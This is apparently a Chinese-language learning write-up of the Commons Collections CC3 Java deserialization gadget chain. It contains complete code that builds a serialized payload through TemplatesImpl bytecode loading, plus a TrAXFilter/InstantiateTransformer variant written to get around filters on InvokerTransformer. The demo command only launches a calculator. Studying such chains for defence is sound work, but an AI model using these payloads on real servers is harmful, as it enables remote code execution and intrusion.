这条链是利用动态类加载来经行代码执行。
原理 根据java类的动态加载原理,我们知道动态类加载可以通过ClassLoader来完成。而其中有个ClassLoader.defineClass可以从字节码加载任意类。
因为是动态类加载,我们先编写一个class类,以便后续我们加载这个类代码执行。
1 2 3 4 5 6 7 8 9 10 11 import java.io.IOException;public class runtime { static { try { Runtime.getRuntime().exec("mate-calc" ); } catch (IOException e){ e.printStackTrace(); } } }
我们编译一下上述代码,生成一个runtime.class文件。
寻找 在ClassLoader类 里的defineClass方法都是私有的,我们需要找到公有或者default类型的defineClass方法。在ClassLoader.defineClass里反向寻找哪里有公有或者default类型的defineClass方法。
在TemplatesImpl类 里有一个default类型的defineClass方法。
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
该方法是在本类的defineTransletClasses()中被调用了的。
1 2 3 4 5 6 7 8 private void defineTransletClasses () throws TransformerConfigurationException { ………… try { …… for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); ………… }
但这个方法也是私有的,所以我们还要继续找。
本类还有三个地方调用了defineTransletClasses(),但是只有getTransletInstance()方法中有可利用的点。
1 2 3 4 5 6 7 8 9 10 11 12 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); ………… return translet; } ………… }
但是getTransletInstance()方法还是私有的,我们继续往回找。
只有一个地方,本类的newTransformer()方法调用了getTransletInstance(),同时这个方法是public的。
1 2 3 4 5 6 7 public synchronized Transformer newTransformer () throws TransformerConfigurationException{ TransformerImpl transformer; transformer = new TransformerImpl (getTransletInstance(), _outputProperties,_indentNumber, _tfactory); ………… return transformer; }
而在这所有的方法的类TemplatesImpl类恰好也是继承了序列化接口的,这就很方便。
所以整条链子是这样的:
1 newTransformer->getTransletInstance->defineTransletClasses->defineClass->代码执行
构造 1 2 TemplatesImpl templates = new TemplatesImpl (); templates.newTransformer();
不用管newTransformer的参数,它肯定会调用getTransletInstance,我们看这个方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 private Translet getTransletInstance () throws TransformerConfigurationException { try { if (_name == null ) return null ; if (_class == null ) defineTransletClasses(); AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance(); translet.postInitialization(); translet.setTemplates(this ); translet.setServicesMechnism(_useServicesMechanism); translet.setAllowedProtocols(_accessExternalStylesheet); if (_auxClasses != null ) { translet.setAuxiliaryClasses(_auxClasses); } return translet; } catch (InstantiationException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (IllegalAccessException e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
在defineTransletClasses方法中:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 private void defineTransletClasses () throws TransformerConfigurationException { if (_bytecodes == null ) { ErrorMsg err = new ErrorMsg (ErrorMsg.NO_TRANSLET_CLASS_ERR); throw new TransformerConfigurationException (err.toString()); } TransletClassLoader loader = (TransletClassLoader) AccessController.doPrivileged(new PrivilegedAction () { public Object run () { return new TransletClassLoader (ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap()); } }); try { final int classCount = _bytecodes.length; _class = new Class [classCount]; if (classCount > 1 ) { _auxClasses = new HashMap <>(); } for (int i = 0 ; i < classCount; i++) { _class[i] = loader.defineClass(_bytecodes[i]); final Class superClass = _class[i].getSuperclass(); if (superClass.getName().equals(ABSTRACT_TRANSLET)) { _transletIndex = i; } else { _auxClasses.put(_class[i].getName(), _class[i]); } } if (_transletIndex < 0 ) { ErrorMsg err= new ErrorMsg (ErrorMsg.NO_MAIN_TRANSLET_ERR, _name); throw new TransformerConfigurationException (err.toString()); } } catch (ClassFormatError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_CLASS_ERR, _name); throw new TransformerConfigurationException (err.toString()); } catch (LinkageError e) { ErrorMsg err = new ErrorMsg (ErrorMsg.TRANSLET_OBJECT_ERR, _name); throw new TransformerConfigurationException (err.toString()); } }
所以我们一共有三个需要赋值的地方:_name、_bytecodes、_tfactory
可以序列化的类,反射直接修改就行。
1 2 3 4 Class c = templates.getClass();Field nameField = c.getDeclaredField("_name" );nameField.setAccessible(true ); nameField.set(templates,"aaa" );
修改_bytecodes属性的时候要注意,它的值应该是我们需要执行的代码。它是一个二维数组
1 private byte [][] _bytecodes = null ;
我们来看defineClass接受的参数:
1 2 3 Class defineClass (final byte [] b) { return defineClass(null , b, 0 , b.length); }
它接收的是一个一维的_bytecodes数组,那么我们可以这样修改:
1 2 3 4 5 byte [] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class" )); byte [][] codes = {code}; Field bytecodesField = c.getDeclaredField("_bytecodes" );bytecodesField.setAccessible(true ); bytecodesField.set(templates,codes);
难点就在最后一个变量
_tfactory的赋值。
1 private transient TransformerFactoryImpl _tfactory = null ;
这个变量有一个修饰符叫transient,代表着这个属性是不能被序列化的,意思是反序列化不能给它赋值。
那我们只能通过readObject给它赋值了,我们看一下本类的readObject:
1 2 3 4 private void readObject (ObjectInputStream is) throws IOException, ClassNotFoundException{ ………… _tfactory = new TransformerFactoryImpl (); }
到此,我们首先正着写一下代码,看看我们的链子成没成功:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class CC3 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class c = templates.getClass(); Field nameField = c.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); byte [] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class" )); byte [][] codes = {code}; Field bytecodesField = c.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates,codes); Field tfactoryField = c.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); templates.newTransformer(); } }
跑一边发现报错了,报了一个空指针错误。
我们调一下到TemplatesImpl类里的422行。
这里的if是判断TemplatesImpl类的父类是否是一个常量ABSTRACT_TRANSLET,如果是,就给_transletIndex赋值为i,如果不是,就进else。
可以看到,我们不满足if条件,进了else,这里的_auxClasses值是空的,所以才会报了空指针错误。
那么我们现在有两种办法:一是使得if判断成立,给_transletIndex赋值,二是给_auxClasses赋值。
但是我们看下面还有一个if判断,判断_transletIndex是否小于0,如果我们不给_transletIndex赋值,那它的值默认是-1,就会小于0,进入下面那个if,然后抛出一个Error,代码也就执行不了了。所以这里的方法二是走不通了,我们只能走方法一,给_transletIndex赋值。
首先我们需要满足if条件,即我们执行代码的类的父类要是ABSTRACT_TRANSLET,我们进去看一眼这个常量是什么:
1 2 private static String ABSTRACT_TRANSLET = "com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet" ;
然后我们修改runtime.class类的父类。
因为AbstractTranslet是抽象类,所以我们要实现它所有的抽象方法。
这里IDEA很方便,直接一键实现即可。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 import java.io.IOException;import com.sun.org.apache.xalan.internal.xsltc.DOM;import com.sun.org.apache.xalan.internal.xsltc.TransletException;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;import com.sun.org.apache.xml.internal.serializer.SerializationHandler;public class runtime extends AbstractTranslet { static { try { Runtime.getRuntime().exec("mate-calc" ); } catch (IOException e){ e.printStackTrace(); } } @Override public void transform (DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform (DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
把这个类编译一下。
然后我们拿着新的runtime.class再来执行一下我们写的链子。
成功弹计算器。
至此,我们的入口newTransformer到出口整条链子就没问题了。然后我们只需要把这个入口Transformer嵌入到CC1链里,就可以序列化反序列化了。
完整CC3链: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3 { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class c = templates.getClass(); Field nameField = c.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); byte [] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class" )); byte [][] codes = {code}; Field bytecodesField = c.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates,codes); Field tfactoryField = c.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> inmap = new HashMap <>(); inmap.put("value" ,"aaa" ); Map outmap = TransformedMap.decorate(inmap,null ,chainedTransformer); Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true ); Object obj = constructorhandler.newInstance(Target.class,outmap); serialize(obj); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("serialize" )); oos.writeObject(obj); } }
我们就从CC1的命令执行,进化到了CC3的代码执行,其实整条链子是差不多的,触发方式都是一样的。
问题 如果不仅过滤了Runtime.exec()也过滤了InvokerTransform呢?
其实IvokerTransform也就是调用了newTransformer,那么还有没有其它地方能调用newTransformer呢?
答案是有的,在TrAXFilter类里也调用了,但是这个类是不能序列化的,所以我们只能通过它的构造函数给它传参。
1 2 3 4 5 6 public TrAXFilter (Templates templates) throws TransformerConfigurationException{ _templates = templates; _transformer = (TransformerImpl) templates.newTransformer(); _transformerHandler = new TransformerHandlerImpl (_transformer); _useServicesMechanism = _transformer.useServicesMechnism(); }
也就是说,如果我们能调用TrAXFilter的构造函数,我们就能成功执行代码。
InstantiateTransformer类是初始化Transformer的,就是一个调构造函数的。
我们看一下它的transform方法:
1 2 3 4 5 6 7 8 9 10 public Object transform (Object input) { try { if (input instanceof Class == false ) { throw new FunctorException ( "InstantiateTransformer: Input object was not an instanceof Class, it was a " + (input == null ? "null object" : input.getClass().getName())); } Constructor con = ((Class) input).getConstructor(iParamTypes); return con.newInstance(iArgs); }
这就完美符合了我们需要调用构造函数传参的条件,
我们看一下InstantiateTransformer类的构造函数:
1 2 3 4 5 public InstantiateTransformer (Class[] paramTypes, Object[] args) { super (); iParamTypes = paramTypes; iArgs = args; }
它需要我们准备传入的类的构造方法的参数类型和参数。这里就是TrAXFilter类的构造方法的参数类型和参数。
可以这样写
1 2 InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class},new Object []{templates});instantiateTransformer.transform(TrAXFilter.class);
总的来说就是可以用一句:
1 InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class},new Object []{templates});
来替换所有的IvokerTransform:
1 2 3 4 5 Transformer[] transformers = new Transformer []{ new ConstantTransformer (templates), new InvokerTransformer ("newTransformer" ,null ,null ) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
这里为了传入TrAXFilter.class,我们还是需要用老朋友,ChainedTransformer
1 2 3 4 5 Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers);
序列化反序列化之后,成功弹计算器!
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InstantiateTransformer;import org.apache.commons.collections.map.TransformedMap;import javax.xml.transform.Templates;import java.io.FileOutputStream;import java.io.IOException;import java.io.ObjectOutputStream;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class CC3_no_InvokerTransform { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class c = templates.getClass(); Field nameField = c.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"aaa" ); byte [] code = Files.readAllBytes(Paths.get("/home/yinyun/Documents/JavaLearing/CC/target/classes/runtime.class" )); byte [][] codes = {code}; Field bytecodesField = c.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates,codes); Field tfactoryField = c.getDeclaredField("_tfactory" ); tfactoryField.setAccessible(true ); tfactoryField.set(templates, new TransformerFactoryImpl ()); Transformer[] transformers = new Transformer []{ new ConstantTransformer (TrAXFilter.class), new InstantiateTransformer (new Class []{Templates.class},new Object []{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); HashMap<Object,Object> inmap = new HashMap <>(); inmap.put("value" ,"aaa" ); Map outmap = TransformedMap.decorate(inmap,null ,chainedTransformer); Class handler = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor constructorhandler = handler.getDeclaredConstructor(Class.class, Map.class); constructorhandler.setAccessible(true ); Object obj = constructorhandler.newInstance(Target.class,outmap); serialize(obj); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("serialize" )); oos.writeObject(obj); } }
绕过IvokerTransform的路线: